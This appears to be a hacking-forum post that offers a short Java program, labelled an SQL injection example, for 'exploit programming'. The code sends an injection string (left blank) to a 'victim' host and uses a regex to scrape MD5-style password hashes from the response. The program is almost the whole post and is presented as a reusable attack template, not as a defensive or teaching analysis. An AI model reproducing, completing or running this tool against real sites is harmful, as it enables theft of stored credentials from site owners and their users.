Jump to content
Gonzalez

[Java] Using java for exploit programming

Recommended Posts

Posted

Author: GT3X

heres an simple example how u can use java for exploit programming


/*
SQL Injection Example
http://www.bifrostworld.org
*/

import java.net.*;
import java.io.*;
import java.util.regex.*;
import java.util.*;
import java.io.InputStream;

class SQL {
public static void main(String[] args){


//Host URl without http://
String host="";
//Injection goes here
String inject = "";
String victim = "http://" + host + inject;

try{
URL url = new URL(victim);
URLConnection connect = url.openConnection();
InputStream in = connect.getInputStream();
Scanner s = new Scanner(in);

while(s.hasNext()){
Pattern pat = Pattern.compile("([a-f0-9]{32})");
Matcher match = pat.matcher(s.next());

if(match.find()){
System.out.println(match.group());
}else{
System.out.println("No hash found");
}
}
}catch(Exception e){
System.out.println(e);
}
}
}

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...